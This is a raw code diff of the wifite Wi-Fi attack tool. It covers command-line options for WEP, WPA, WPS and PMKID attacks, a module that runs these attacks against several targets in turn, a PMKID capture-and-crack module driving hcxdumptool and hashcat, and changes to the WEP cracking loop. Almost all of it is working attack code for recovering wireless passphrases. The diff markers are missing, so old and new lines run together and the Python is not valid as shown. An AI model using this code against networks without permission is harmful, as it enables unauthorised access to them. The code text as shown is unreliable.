wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wep_crack_at_ivs', type=int)
help=self._verbose('Start cracking at this many IVs (default: ' +
'{G}%d ivs{W})' % self.config.wep_crack_at_ivs))
wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store',
dest='wep_crack_at_ivs', type=int)
wep.add_argument('--weprs',
action='store',
dest='wep_restart_stale_ivs',
metavar='[seconds]',
type=int,
help=self._verbose('Restart aireplay if no new IVs appear (default: {G}%d sec{W})' % self.config.wep_restart_stale_ivs))
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store', dest='wep_restart_stale_ivs', type=int)
help=self._verbose('Restart aireplay if no new IVs appear (default: ' +
'{G}%d sec{W})' % self.config.wep_restart_stale_ivs))
wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store',
dest='wep_restart_stale_ivs', type=int)
wep.add_argument('--weprc',
action='store',
dest='wep_restart_aircrack',
metavar='[seconds]',
type=int,
help=self._verbose('Restart aircrack after this delay (default: {G}%d sec{W})' % self.config.wep_restart_aircrack))
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store', dest='wep_restart_aircrack', type=int)
help=self._verbose('Restart aircrack after this delay (default: ' +
'{G}%d sec{W})' % self.config.wep_restart_aircrack))
wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store',
dest='wep_restart_aircrack', type=int)
wep.add_argument('--arpreplay',
action='store_true',
dest='wep_attack_replay',
help=self._verbose('Use ARP-replay WEP attack (default: {G}on{W})'))
wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_replay')
help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_replay')
wep.add_argument('--fragment',
action='store_true',
dest='wep_attack_fragment',
help=self._verbose('Use fragmentation WEP attack (default: {G}on{W})'))
wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_fragment')
help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_fragment')
wep.add_argument('--chopchop',
action='store_true',
dest='wep_attack_chopchop',
help=self._verbose('Use chop-chop WEP attack (default: {G}on{W})'))
wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_chopchop')
help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_chopchop')
wep.add_argument('--caffelatte',
action='store_true',
dest='wep_attack_caffe',
help=self._verbose('Use caffe-latte WEP attack (default: {G}on{W})'))
wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_caffelatte')
help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_caffelatte')
wep.add_argument('--p0841',
action='store_true',
dest='wep_attack_p0841',
help=self._verbose('Use p0841 WEP attack (default: {G}on{W})'))
wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_p0841')
help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_p0841')
wep.add_argument('--hirte',
action='store_true',
dest='wep_attack_hirte',
help=self._verbose('Use ARP-replay WEP attack (default: {G}on{W})'))
wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_hirte')
help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})'))
wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true',
dest='wep_attack_hirte')
def _add_wpa_args(self, wpa):
wpa.add_argument('--wpa',
action='store_true',
dest='wpa_filter',
help=Color.s('Filter to display only WPA-encrypted networks (includes WPS)'))
wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true', dest='wpa_filter')
wpa.add_argument('--wpadt',
action='store',
dest='wpa_deauth_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait between sending Deauths (default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpa_deauth_timeout', type=int)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait before failing WPA attack (default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpa_attack_timeout', type=int)
wpa.add_argument('--new-hs',
action='store_true',
dest='ignore_old_handshakes',
help=Color.s('Captures new handshakes, ignores existing handshakes in ./hs (default: {G}off{W})'))
help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})'))
wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true',
dest='wpa_filter')
wpa.add_argument('--hs-dir',
action='store',
dest='wpa_handshake_dir',
metavar='[dir]',
type=str,
help=self._verbose('Directory to store handshake files (default: {G}%s{W})' % self.config.wpa_handshake_dir))
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store', dest='wpa_handshake_dir', type=str)
help=self._verbose('Directory to store handshake files ' +
'(default: {G}%s{W})' % self.config.wpa_handshake_dir))
wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store',
dest='wpa_handshake_dir', type=str)
wpa.add_argument('--new-hs',
action='store_true',
dest='ignore_old_handshakes',
help=Color.s('Captures new handshakes, ignores existing handshakes ' +
'in {C}%s{W} (default: {G}off{W})' % self.config.wpa_handshake_dir))
wpa.add_argument('--dict',
action='store',
@@ -275,6 +322,26 @@ class Arguments(object):
help=Color.s('File containing passwords for cracking (default: {G}%s{W})')
% self.config.wordlist)
wpa.add_argument('--wpadt',
action='store',
dest='wpa_deauth_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait between sending Deauths ' +
'(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))
wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store',
dest='wpa_deauth_timeout', type=int)
wpa.add_argument('--wpat',
action='store',
dest='wpa_attack_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait before failing WPA attack ' +
'(default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store',
dest='wpa_attack_timeout', type=int)
# TODO: Uncomment the --strip option once it works
'''
wpa.add_argument('--strip',
@@ -283,73 +350,112 @@ class Arguments(object):
default=False,
help=Color.s('Strip unnecessary packets from handshake capture using tshark'))
'''
wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true', dest='wpa_strip_handshake')
wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true',
dest='wpa_strip_handshake')
def _add_wps_args(self, wps):
wps.add_argument('--wps',
action='store_true',
dest='wps_filter',
help=Color.s('Filter to display only WPS-enabled networks'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
wps.add_argument('--bully',
action='store_true',
dest='use_bully',
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
help=Color.s('Show only {C}WPS-enabled networks{W}'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true',
dest='wps_filter')
wps.add_argument('--no-wps',
action='store_true',
dest='no_wps',
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' +
'attacks on targets (default: {G}off{W})'))
wps.add_argument('--wps-only',
action='store_true',
dest='wps_only',
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' +
'attacks (default: {G}off{W})'))
# Same as --wps-only
wps.add_argument('--pixie',
help=argparse.SUPPRESS,
wps.add_argument('--pixie', action='store_true', dest='wps_pixie',
help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' +
'(do not use {O}PIN attack{W})'))
wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie',
help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' +
'(use {G}PIN attack{W})'))
wps.add_argument('--bully',
action='store_true',
dest='wps_only')
dest='use_bully',
help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' +
'(default: {G}reaver{W})'))
# Alias
wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true',
dest='use_bully')
wps.add_argument('--pixiet',
# Ignore lock-outs
wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock',
help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' +
' (default: {G}stop{W})'))
# Time limit on entire attack.
wps.add_argument('--wps-time',
action='store',
dest='wps_pixie_timeout',
metavar='[seconds]',
metavar='[sec]',
type=int,
help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
wps.add_argument('--pixiest',
action='store',
dest='wps_pixie_step_timeout',
metavar='[seconds]',
type=int,
help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout))
wps.add_argument('--wpsmf',
help=self._verbose('Total time to wait before failing PixieDust attack ' +
'(default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
# Alias
wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store',
dest='wps_pixie_timeout', type=int)
# Maximum number of 'failures' (WPSFail)
wps.add_argument('--wps-fails',
action='store',
dest='wps_fail_threshold',
metavar='[fails]',
metavar='[num]',
type=int,
help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold))
wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
wps.add_argument('--wpsmt',
help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' +
'failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
# Alias
wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store',
dest='wps_fail_threshold', type=int)
# Maximum number of 'timeouts'
wps.add_argument('--wps-timeouts',
action='store',
dest='wps_timeout_threshold',
metavar='[timeouts]',
metavar='[num]',
type=int,
help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold))
wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
wps.add_argument('--ignore-ratelimit',
action='store_false',
dest='wps_skip_rate_limit',
help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
help=self._verbose('Maximum number of Timeouts before failing ' +
'(default: {G}%d{W})' % self.config.wps_timeout_threshold))
# Alias
wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store',
dest='wps_timeout_threshold', type=int)
def _add_pmkid_args(self, pmkid):
pmkid.add_argument('--pmkid',
action='store_true',
dest='use_pmkid_only',
help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' +
'WPA attacks (default: {G}off{W})'))
# Alias
pmkid.add_argument('-pmkid', help=argparse.SUPPRESS, action='store_true', dest='use_pmkid_only')
pmkid.add_argument('--pmkid-timeout',
action='store',
dest='pmkid_timeout',
metavar='[sec]',
type=int,
help=Color.s('Time to wait for PMKID capture ' +
'(default: {G}%d{W} seconds)' % self.config.pmkid_timeout))
def _add_command_args(self, commands):
commands.add_argument('--cracked',
action='store_true',
dest='cracked',
help=Color.s('Display previously-cracked access points'))
commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
help=Color.s('Print previously-cracked access points'))
commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true',
dest='cracked')
commands.add_argument('--check',
action='store',
@@ -357,8 +463,10 @@ class Arguments(object):
nargs='?',
const='<all>',
dest='check_handshake',
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake')
help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' +
'for WPA handshakes'))
commands.add_argument('-check', help=argparse.SUPPRESS, action='store',
nargs='?', const='<all>', dest='check_handshake')
commands.add_argument('--crack',
action='store_true',
@@ -366,11 +474,11 @@ class Arguments(object):
help=Color.s('Show commands to crack a captured handshake'))
if __name__ == '__main__':
from util.color import Color
from config import Configuration
from .util.color import Color
from .config import Configuration
Configuration.initialize(False)
a = Arguments(Configuration)
args = a.args
for (key,value) in sorted(args.__dict__.iteritems()):
for (key,value) in sorted(args.__dict__.items()):
Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value))

0
wifite/attack/__init__.py Normal file → Executable file
View File

149
wifite/attack/all.py Executable file
View File

@@ -0,0 +1,149 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color
class AttackAll(object):
@classmethod
def attack_multiple(cls, targets):
'''
Attacks all given `targets` (list[wifite.model.target]) until user interruption.
Returns: Number of targets that were attacked (int)
'''
if any(t.wps for t in targets) and not AttackWPS.can_attack_wps():
# Warn that WPS attacks are not available.
Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}')
attacked_targets = 0
targets_remaining = len(targets)
for index, target in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
bssid = target.bssid
essid = target.essid if target.essid_known else '{O}ESSID unknown{W}'
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
should_continue = cls.attack_single(target, targets_remaining)
if not should_continue:
break
return attacked_targets
@classmethod
def attack_single(cls, target, targets_remaining):
'''
Attacks a single `target` (wifite.model.target).
Returns: True if attacks should continue, False otherwise.
'''
attacks = []
if Configuration.use_eviltwin:
# TODO: EvilTwin attack
pass
elif 'WEP' in target.encryption:
attacks.append(AttackWEP(target))
elif 'WPA' in target.encryption:
# WPA can have multiple attack vectors:
# WPS
if not Configuration.use_pmkid_only:
if target.wps != False and AttackWPS.can_attack_wps():
# Pixie-Dust
if Configuration.wps_pixie:
attacks.append(AttackWPS(target, pixie_dust=True))
# PIN attack
if Configuration.wps_pin:
attacks.append(AttackWPS(target, pixie_dust=False))
if not Configuration.wps_only:
# PMKID
attacks.append(AttackPMKID(target))
# Handshake capture
if not Configuration.use_pmkid_only:
attacks.append(AttackWPA(target))
if len(attacks) == 0:
Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available')
return True # Keep attacking other targets (skip)
while len(attacks) > 0:
attack = attacks.pop(0)
try:
result = attack.run()
if result:
break # Attack was successful, stop other attacks.
except Exception as e:
Color.pexception(e)
continue
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted{W}\n')
answer = cls.user_wants_to_continue(targets_remaining, len(attacks))
if answer is True:
continue # Keep attacking the same target (continue)
elif answer is None:
return True # Keep attacking other targets (skip)
else:
return False # Stop all attacks (exit)
if attack.success:
attack.crack_result.save()
return True # Keep attacking other targets
@classmethod
def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
'''
Asks user if attacks should continue onto other targets
Returns:
True if user wants to continue, False otherwise.
'''
if attacks_remaining == 0 and targets_remaining == 0:
return # No targets or attacksleft, drop out
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list) + ' remain'
Color.pl('{+} %s' % prompt)
prompt = '{+} Do you want to'
options = '('
if attacks_remaining > 0:
prompt += ' {G}continue{W} attacking,'
options += '{G}C{W}{D}, {W}'
if targets_remaining > 0:
prompt += ' {O}skip{W} to the next target,'
options += '{O}s{W}{D}, {W}'
options += '{R}e{W})'
prompt += ' or {R}exit{W} %s? {C}' % options
from ..util.input import raw_input
answer = raw_input(Color.s(prompt)).lower()
if answer.startswith('s'):
return None # Skip
elif answer.startswith('e'):
return False # Exit
else:
return True # Continue

213
wifite/attack/pmkid.py Executable file
View File

@@ -0,0 +1,213 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID
from threading import Thread
import os
import time
import re
class AttackPMKID(Attack):
def __init__(self, target):
super(AttackPMKID, self).__init__(target)
self.crack_result = None
self.success = False
self.pcapng_file = Configuration.temp('pmkid.pcapng')
def get_existing_pmkid_file(self, bssid):
'''
Load PMKID Hash from a previously-captured hash in ./hs/
Returns:
The hashcat hash (hash*bssid*station*essid) if found.
None if not found.
'''
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
bssid = bssid.lower().replace(':', '')
file_re = re.compile('.*pmkid_.*\.16800')
for filename in os.listdir(Configuration.wpa_handshake_dir):
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
if not os.path.isfile(pmkid_filename):
continue
if not re.match(file_re, pmkid_filename):
continue
with open(pmkid_filename, 'r') as pmkid_handle:
pmkid_hash = pmkid_handle.read().strip()
if pmkid_hash.count('*') < 3:
continue
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
if existing_bssid == bssid:
return pmkid_filename
return None
def run(self):
'''
Performs PMKID attack, if possible.
1) Captures PMKID hash (or re-uses existing hash if found).
2) Cracks the hash.
Returns:
True if handshake is captured. False otherwise.
'''
from ..util.process import Process
# Check that we have all hashcat programs
dependencies = [
Hashcat.dependency_name,
HcxDumpTool.dependency_name,
HcxPcapTool.dependency_name
]
missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
if len(missing_deps) > 0:
Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
return False
pmkid_file = None
if Configuration.ignore_old_handshakes == False:
# Load exisitng PMKID hash from filesystem
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
if pmkid_file is not None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
if pmkid_file is None:
# Capture hash from live target.
pmkid_file = self.capture_pmkid()
if pmkid_file is None:
return False # No hash found.
# Crack it.
try:
self.success = self.crack_pmkid_file(pmkid_file)
except KeyboardInterrupt:
Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')
self.success = False
return False
return True # Even if we don't crack it, capturing a PMKID is 'successful'
def capture_pmkid(self):
'''
Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file.
Returns:
The PMKID hash (str) if found, otherwise None.
'''
self.keep_capturing = True
self.timer = Timer(Configuration.pmkid_timeout)
# Start hcxdumptool
t = Thread(target=self.dumptool_thread)
t.start()
# Repeatedly run pcaptool & check output for hash for self.target.essid
pmkid_hash = None
pcaptool = HcxPcapTool(self.target)
while self.timer.remaining() > 0:
pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
if pmkid_hash is not None:
break # Got PMKID
Color.pattack('PMKID', self.target, 'CAPTURE',
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
time.sleep(1)
self.keep_capturing = False
if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID\n')
Color.pl('')
return None # No hash found.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
pmkid_file = self.save_pmkid(pmkid_hash)
return pmkid_file
def crack_pmkid_file(self, pmkid_file):
'''
Runs hashcat containing PMKID hash (*.16800).
If cracked, saves results in self.crack_result
Returns:
True if cracked, False otherwise.
'''
# Check that wordlist exists before cracking.
if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking PMKID ' +
'because there is no {R}wordlist{O} (re-run with {C}--dict{O})')
# TODO: Uncomment once --crack is updated to support recracking PMKIDs.
#Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None
else:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist)
key = Hashcat.crack_pmkid(pmkid_file)
if key is None:
# Failed to crack.
if Configuration.wordlist is not None:
Color.clear_entire_line()
Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed {O}Passphrase not found in dictionary.\n')
return False
else:
# Successfully cracked.
Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_file, key)
Color.pl('\n')
self.crack_result.dump()
return True
def dumptool_thread(self):
'''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`'''
dumptool = HcxDumpTool(self.target, self.pcapng_file)
# Let the dump tool run until we have the hash.
while self.keep_capturing and dumptool.poll() is None:
time.sleep(0.5)
dumptool.interrupt()
def save_pmkid(self, pmkid_hash):
'''Saves a copy of the pmkid (handshake) to hs/ directory.'''
# Create handshake dir
if not os.path.exists(Configuration.wpa_handshake_dir):
os.makedirs(Configuration.wpa_handshake_dir)
# Generate filesystem-safe filename from bssid, essid and date
essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
bssid_safe = self.target.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n')
return pmkid_file

View File

@@ -1,13 +1,14 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay, WEPAttackType
from ..tools.aircrack import Aircrack
from ..tools.ip import Ip
from ..config import Configuration
from ..model.interface import Interface
from ..util.color import Color
from ..util.input import raw_input
from ..model.wep_result import CrackResultWEP
import time
@@ -17,7 +18,7 @@ class AttackWEP(Attack):
Contains logic for attacking a WEP-encrypted access point.
'''
fakeauth_wait = 5
fakeauth_wait = 5 # TODO: Configuration?
def __init__(self, target):
super(AttackWEP, self).__init__(target)
@@ -28,7 +29,7 @@ class AttackWEP(Attack):
'''
Initiates full WEP attack.
Including airodump-ng starting, cracking, etc.
Returns: True if attack is succesful, false otherwise
Returns: True if attack is successful, false otherwise
'''
aircrack = None # Aircrack process, not started yet
@@ -36,6 +37,15 @@ class AttackWEP(Attack):
replay_file = None
airodump_target = None
previous_ivs = 0
current_ivs = 0
total_ivs = 0
keep_ivs = Configuration.wep_keep_ivs
# Clean up previous WEP sessions
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
attacks_remaining = list(Configuration.wep_attacks)
while len(attacks_remaining) > 0:
attack_name = attacks_remaining.pop(0)
@@ -46,7 +56,8 @@ class AttackWEP(Attack):
target_bssid=self.target.bssid,
ivs_only=True, # Only capture IVs packets
skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='wep') as airodump:
output_file_prefix='wep',
delete_existing_files=not keep_ivs) as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...')
@@ -56,9 +67,9 @@ class AttackWEP(Attack):
if self.fake_auth():
# We successfully authenticated!
# Use our interface's MAC address for the attacks.
client_mac = Interface.get_mac()
client_mac = Ip.get_mac(Configuration.interface)
# Keep us authenticated
fakeauth_proc = Aireplay(self.target, "fakeauth")
fakeauth_proc = Aireplay(self.target, 'fakeauth')
elif len(airodump_target.clients) == 0:
# Failed to fakeauth, can't use our MAC.
# And there are no associated clients. Use one and tell the user.
@@ -76,30 +87,37 @@ class AttackWEP(Attack):
# Start Aireplay process.
aireplay = Aireplay(self.target,
wep_attack_type,
client_mac=client_mac)
client_mac=client_mac,
replay_file=replay_file)
time_unchanged_ivs = time.time() # Timestamp when IVs last changed
previous_ivs = 0
last_ivs_count = 0
# Loop until attack completes.
while True:
airodump_target = self.wait_for_target(airodump)
status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
if client_mac is None and len(airodump_target.clients) > 0:
client_mac = airodump_target.clients[0].station
if keep_ivs and current_ivs > airodump_target.ivs:
# We now have less IVS than before; A new attack must have started.
# Track how many we have in-total.
previous_ivs += total_ivs
current_ivs = airodump_target.ivs
total_ivs = previous_ivs + current_ivs
status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs)
if fakeauth_proc:
if fakeauth_proc and fakeauth_proc.status:
status += ", {G}fakeauth{W}"
status += ', {G}fakeauth{W}'
else:
status += ", {R}no-auth{W}"
status += ', {R}no-auth{W}'
if aireplay.status is not None:
status += ", %s" % aireplay.status
status += ', %s' % aireplay.status
Color.clear_entire_line()
Color.pattack("WEP",
airodump_target,
"%s" % attack_name,
status)
#self.aircrack_check()
Color.pattack('WEP', airodump_target, '%s' % attack_name, status)
# Check if we cracked it.
if aircrack and aircrack.is_cracked():
@@ -109,44 +127,44 @@ class AttackWEP(Attack):
essid = airodump_target.essid
else:
essid = None
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
% attack_name)
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name)
if aireplay: aireplay.stop()
if fakeauth_proc: fakeauth_proc.stop()
self.crack_result = CrackResultWEP(self.target.bssid,
self.target.essid, hex_key, ascii_key)
self.crack_result.dump()
Airodump.delete_airodump_temp_files('wep')
self.success = True
return self.success
if aircrack and aircrack.is_running():
# Aircrack is running in the background.
Color.p("and {C}cracking{W}")
Color.p('and {C}cracking{W}')
# Check number of IVs, crack if necessary
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
if not aircrack:
if total_ivs > Configuration.wep_crack_at_ivs:
if not aircrack or not aircrack.is_running():
# Aircrack hasn't started yet. Start it.
ivs_file = airodump.find_files(endswith='.ivs')[0]
aircrack = Aircrack(ivs_file)
elif not aircrack.is_running():
# Aircrack stopped running.
Color.pl('\n{!} {O}aircrack stopped running!{W}')
ivs_file = airodump.find_files(endswith='.ivs')[0]
Color.pl('{+} {C}aircrack{W} stopped, restarting...')
self.fake_auth()
aircrack = Aircrack(ivs_file)
ivs_files = airodump.find_files(endswith='.ivs')
ivs_files.sort()
if len(ivs_files) > 0:
if not keep_ivs:
ivs_files = ivs_files[-1] # Use most-recent .ivs file
aircrack = Aircrack(ivs_files)
elif Configuration.wep_restart_aircrack > 0 and \
aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
# Restart aircrack after X seconds
#Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
aircrack.stop()
ivs_file = airodump.find_files(endswith='.ivs')[0]
Color.pl('\n{+} {C}aircrack{W} ran for more than' +
' {C}%d{W} seconds, restarting'
% Configuration.wep_restart_aircrack)
aircrack = Aircrack(ivs_file)
ivs_files = airodump.find_files(endswith='.ivs')
ivs_files.sort()
if len(ivs_files) > 0:
if not keep_ivs:
ivs_files = ivs_files[-1] # Use most-recent .ivs file
aircrack = Aircrack(ivs_files)
if not aireplay.is_running():
@@ -162,7 +180,7 @@ class AttackWEP(Attack):
# If .xor is not there, the process failed.
Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
# XXX: For debugging
Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd)
Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break
@@ -175,24 +193,25 @@ class AttackWEP(Attack):
if replay_file:
Color.pl('{+} {C}forged packet{W},' +
' {G}replaying...{W}')
wep_attack_type = WEPAttackType("forgedreplay")
attack_name = "forgedreplay"
wep_attack_type = WEPAttackType('forgedreplay')
attack_name = 'forgedreplay'
aireplay = Aireplay(self.target,
'forgedreplay',
client_mac=client_mac,
replay_file=replay_file)
time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet)
continue
else:
# Failed to forge packet. drop out
break
else:
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd)
Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output())
Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd))
Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
break # Continue to other attacks
# Check if IVs stopped flowing (same for > N seconds)
if airodump_target.ivs > previous_ivs:
if airodump_target.ivs > last_ivs_count:
time_unchanged_ivs = time.time()
elif Configuration.wep_restart_stale_ivs > 0 and \
attack_name != 'chopchop' and \
@@ -209,7 +228,7 @@ class AttackWEP(Attack):
client_mac=client_mac, \
replay_file=replay_file)
time_unchanged_ivs = time.time()
previous_ivs = airodump_target.ivs
last_ivs_count = airodump_target.ivs
time.sleep(1)
continue
